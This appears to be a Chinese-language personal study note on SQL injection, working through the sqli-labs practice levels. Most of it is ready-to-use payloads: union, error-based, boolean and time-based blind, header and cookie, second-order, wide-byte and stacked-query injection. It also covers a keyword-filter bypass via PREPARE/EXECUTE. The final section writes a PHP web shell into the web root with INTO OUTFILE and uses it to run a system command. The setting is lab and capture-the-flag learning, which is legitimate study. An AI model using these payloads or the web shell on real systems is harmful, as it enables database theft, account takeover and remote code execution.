SQL注入入门
SQL注入入门
基本知识
判断字符型或者数字型注入
字符型:
/?id= 1’ and ‘1’=‘1 正确
/?id= 1’ and ‘1’=‘2’ 语义错误(非语法错误)
数字型:
/?id= 1 and 1=1 正确
/?id= 1 and 1= 2 语义错误(非语法错误)
记忆
核心数据库:information_schema
其中的表:schema, tables, columns
其中的列:
schema:schemata
tables:table_schema
columns:table_name
报错注入函数
*updatexml()函数的使用:更新xml文档的函数,返回替换的XML片段*
*语法:updatexml(xml_documat,XPath_string,new_value)*
参数:1xml_documat:是STRING格式,为XML文档对象的名称,这一项可以输入一个十六进制的字符,比如0x26(&)。
2XPath_string:是XPath的格式的字符串,报错注入时需要写入错误的格式来显示错误的信息。
3new_value:是string格式替换查找到符合条件的数据,在注入时可以加入任意字符,比如0x26(&)。
注释
GET:–+
POST:#
附:如果是GET想用#,则先进行URL编码:%23
过滤与绕过
select过滤
查库:show database();
查表:show tables;
查列:desc table_name;
查数据:看来必须要用select关键字,直接预编译:
@预定义prepare模板
prepare xxx as select * from user where id=1; //将select查询语句定义为xxx
execute xxx; //再使用execute来执行这个变量xxx即可执行上诉的select查询语句
所以本题,先是使用prepare来预定义@a语句为hello,然后再使用execute来执行hello,这里execute执行的就是@a语句。
举个栗子:0’;sEt@a=concat(“sel”,”ect flag from 1919810931114514
“);PRepare hello from @a;execute hello;#
这里是通过concat函数将查询语句进行连接,然后赋值给变量@a,然后再通过prepare来预定义@a的查询语句为hello,最后再使用execute来执行hello。
注入方式
联合注入
报错注入
布尔盲注
时间盲注
头部注入
堆叠注入
该注入需要特殊的条件,比如函数:mysqli_multi_query(),其可以执行一条或多条SQL语句。
使用格式也简单,用分号**;**闭合语句,再写入一条语句。
二次注入
推荐文章:https://zhuanlan.zhihu.com/p/39917830
原理
二次注入的原理,在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然参数在过滤后会添加 “\” 进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。
须知:二次注入并不会马上生效,正如其名,会在下次相关SQL语句执行时生效。
宽字节注入
推荐文章:https://blog.csdn.net/m0_46467017/article/details/126247133
基础概念
宽字节:如果一个字符的大小为两个字节,则称之为宽字节。
像GB2321、GBK、GB18030、BIG5、Shift_JIS等这些编码都是常说的宽字节,也就是只有两个字节。
英文默认占一个字节,中午占两个字节。
宽字节注入的条件
- 数据库为GBK编码
- 使用了转义函数,将、POGETST、cookie传递的参数进行过滤,将单引号、双引号、null等敏感字符用转义符\进行转义
具体看Less-32,我写得尽量详细一点
sqlilab
Less-1 Less-2
tip:最基本的整数型与字符型注入
1.判断GET还是POST
/?id=1
2.是否有单引号闭合
在基础模块(上文)有提及,不赘述
3.判断占位数
/?id=1 order by 1 正确
/?id=1 order by 2 正确
/?id=1 order by 3 正确
/?id=1 order by 4 报错
4.查看显示位
太简单,不赘述
5.爆数据(有单引号闭合的自行加入,下文默认数字型)
爆库:
/?id=-1 union select 1,2, group_concat(schema_name) from information_schema.schemata –+
爆表:
/?id=-1 union select 1,2, group_concat(table_name) from information_schema.tables where table_schema = ‘HHH’ –+
爆列:
/?id=-1 union select 1,2, group_concat(column_name) from information_schema.columns where table_name = ‘HHH’ –+
爆值:
/?id=-1 union select group_concat(id, pq, ···) from hhhh –+
Less-3 Less-4
tip:这两关有小括号闭合
测试:
/?id = 1 正常
/?id = 1’ 报错,小括号闭合
应对方式:
/?id= -1) –+
其他与前两关一致
Less-5 Less-6
tip:报错注入
测试:
/?id=1 正常,不显示信息
/?id=-1 报错
利用updataxml()函数(基础模块有介绍)
闭合方式:
Less-5是单引号闭合
Less-6是双引号闭合
爆库:
/?id=1’ and updatexml(1,concat(0x7e,mid((select group_concat(schema_name) from information_schema.schemata),1,31)),1) –+
爆表:
/?id=1’ and updatexml(1, concat(0x7e, mid((select group_concat(table_name) from information_schema.tables where table_schema=‘HHH’),1,31)),1) –+
爆列:
/?id=1’ and updatexml(1, concat(0x7e, mid((select group_concat(column_name) from information_schema.columns where table_sname=‘HHH’),1,31)),1) –+
爆值:
/?id=1’ and updatexml(1, concat(0x7e, mid((select group_concat(id···) from hhh),1,31)),1) –+
Less-7 Less-8
tip:布尔盲注,本次以Less-8为主
存在单引号闭合
布尔盲注步骤详解
页面只能返回正确或错误,无法报错注入。
步骤:对数据库,表,列都一样,有以下几步
- 确定值的个数
- 确定一个值的长度
- 确定一个值的组成
实战
由于操作量太大,我们只从security->users->id
爆库:
个数
长度
/?id=1’ and length(database()) > 7 –+ true
/?id=1’ and length(database()) > 8 –+ 语义错误
可知长度为8
组成
/?id=1’ and ascii(substr((database()),1,1)) > 97 –+
······
得知当前数据库:security
爆表
个数
/?id=1’ and (select count(table_name) from information_schema.tables where table_schema=database()) > 3 –+ 正确
/?id=1’ and (select count(table_name) from information_schema.tables where table_schema=database()) > 4 –+ 语义错误
可知有四个表:emails,referers,uagents,users
长度
/?id=1’ and length((select table_name from information_schema.tables where table_schema=database() limit 3, 1)) > 5 –+ 正确
/?id=1’ and length((select table_name from information_schema.tables where table_schema=database() limit 3, 1)) > 6 –+ 语言错误
可知第四个表长度为5
组成
/?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3, 1),1,1)) > 97 –+
可知表为users
爆列
个数
/?id=1’ and (select count(column_name) from information_schema.columns where table_name=’users’) > 2 –+ 正确
/?id=1’ and (select count(column_name) from information_schema.columns where table_name=’users’) > 3 –+ 语义错误
可知三个列:id,username,password
长度
/?id=1’ and length((select column_name from information_schema.columns where table_name=’users’ limit 0, 1)) = 2 –+
组成
/?id=1’ and ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 0, 1),1,1)) > 97 –+
可知列:id
爆值
个数
?id=1’ and (select count(*) from users) > 12 –+ 正确
?id=1’ and (select count(*) from users) > 13 –+ 语义报错
可知有十三个
长度,组成不赘述
布尔盲注python脚本
以Less-8为例(手搓,巨费时)
1 | import requests |
Less-9 Less10
tip:时间盲注,本次以Less-9为主
存在单引号闭合
简单介绍一下if语法即可:
语法:if(expr1,expr2,expr3)
语法含义:如果expr1是true,则if()的返回值为expr2,否则返回值则为expr3。
例子:
/?id=1’ and if((1=1), sleep(10),1)
迫于时间压力,先不学时间盲注脚本
Less-11 Less-12
tip:POST提交方式
本次以Less-11 为主,两关区别是单引号或双引号闭合
用POST提交
剩下的一样
Less-13 Less-14
本次以Less-13 为主,两关区别是单引号加小括号或双引号闭合
附:测试时返回这样一句话:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘1’) LIMIT 0,1’ at line 1
其中的“o use near ‘1’) LIMIT 0,1’”告诉我们闭合方式是(‘’),Less-14同理
输入正确无反应,采用报错或盲注,本次为报错注入
例子:
passwd=1&uname=1’) and updatexml(1,concat(0x7e, mid(database(),1,31)),1) #
可以报错注入,剩下照旧
Less-15 Less-16
不管正确还是错误都没有回显,只能使用时间盲注
我会补脚本的,其实还有一个问题,就是如何在没有信息的情况下得知闭合方式,不要看source的那种
Less-17
源码提示uname参数不可用,使用passwd参数
使用报错注入
小结(基本注入)
联合注入:
联合注入要求前面的条件是错的,需要注意占位数,回显位
当输入正确时有回显,可以使用联合注入
报错注入:
报错注入要求前面的条件是真的
当输入正确无回显,输入语法错误有回显时,可以使用报错注入
布尔盲注:
报错注入要求前面的条件是真的
当输入正确无回显,输入语法错误无回显,输入语义错误有回显,可以使用布尔盲注
时间盲注:
要求与布尔盲注一致
当无论怎样都无回显时,可以使用时间盲注
Less-18 Less-19
tip:其实一直忘了说一件事,正确账号和密码都是admin,另外,本次是UA注入
本处以Less-18为主,Less-19把UA换成Referer
测试
经过测试可知:语义错误无回显,语法错误无回显,登入成功回显UA
猜测此处存在UA注入
但是此处又有一个细节,如果账户和密码不正确,将会不回显UA
闭合方式
对UA操作:
1 无回显
1’ 报错
1“ 无回显
1)无回显
很明显,就是单引号闭合
爆数据
单引号闭合,利用报错注入,例子:
(经过多次尝试,格式严格等于)
1'='1' and updatexml(1,concat(0x7e,database()),1) and '1'='1
剩下照旧
Less-20
tip:经过多次抓包,发现每次都会发送两个包,一个GET,一个POST。本次是cookie注入,有关的是GET包
还能咋样嘞,学习Less-18
小结(包注入)
简单的很,猜结构(其实不简单,但是我可以看source)
information_schema,normal
Less-24
二次注入
查看登录页source,发现两个参数都经过mysql_real_escape_string()函数过滤,那么就不能进行正常注入。
创建账户成功后,发现可以改密码。我们想夺取admin。
创建用户名:admin’#,在修改密码时会执行该用户名,然后admin密码就被修改了。
Less-32
必须要单引号留存,特定函数(如addslashes())会给单引号前面加一个反斜杠使单引号不能发挥作用。
爆库:
?id=%df ‘ union select 1,database(),3 –+
剩下如旧
原理
%df ‘ => %df/ ‘ => %df%5C%27,由于GBK会把%df%5C一起解码,所以%27成功变回单引号,实现逃逸。
Less-38
堆叠注入
发现本题只能回显第一条语句,不能回显第二条语句。那只有把第二条语句的结果注入到第一条语句。
爆库:?id=1';update users set password=(mid((select group_concat(schema_name) from information_schema.schemata),1,20)) where username='Dumb'; --+
爆表:?id=1';update users set password=(mid((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,20)) where username='Dumb'; --+
爆列:?id=1';update users set password=(mid((select group_concat(column_name) from information_schema.columns where table_name='users'),1,20)) where username='Dumb'; --+
爆值:?id=1';update users set password=(mid((select group_concat(id,password) from users),1,20)) where username='Dumb'; --+
SQL注入进阶学习
注入木马
第一步id=-1 union select 1,"<?php @eval($_POST['cmd']);?>",3 into OUTFILE '/var/www/html/name.php' --+
第二步
url/name.php
POST:
cmd=system(“cat /flag”);